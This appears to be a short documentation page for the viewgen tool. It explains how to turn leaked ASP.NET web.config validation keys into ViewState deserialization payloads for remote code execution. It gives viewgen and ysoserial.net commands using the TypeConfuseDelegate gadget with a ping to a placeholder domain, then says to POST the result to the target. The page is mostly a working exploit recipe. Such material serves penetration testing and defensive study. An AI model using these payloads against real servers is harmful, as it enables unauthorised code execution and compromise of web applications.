Generate ViewState payloads for RCE
mainIf you have leaked a web.config file or validation keys, you can generate payloads to achieve Remote Code Execution (RCE) via ObjectStateFormatter deserialization.
Method 1: Using the built-in command option
viewgen has a built-in command option based on ysoserial.net to generate payloads directly:
viewgen --webconfig web.config -m CA0B0334 -c "ping yourdomain.tld"Method 2: Manual generation
- Generate a payload using
ysoserial.exe:ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "ping yourdomain.tld" - Obtain the
__VIEWSTATEGENERATOR(modifier) from the target web application. - Wrap the payload using
viewgenwith your leaked keys:viewgen --webconfig web.config --modifier MODIFIER PAYLOAD - Send the resulting payload via a
POSTrequest to the target endpoint.
viewgen --webconfig web.config -m CA0B0334 -c "ping yourdomain.tld"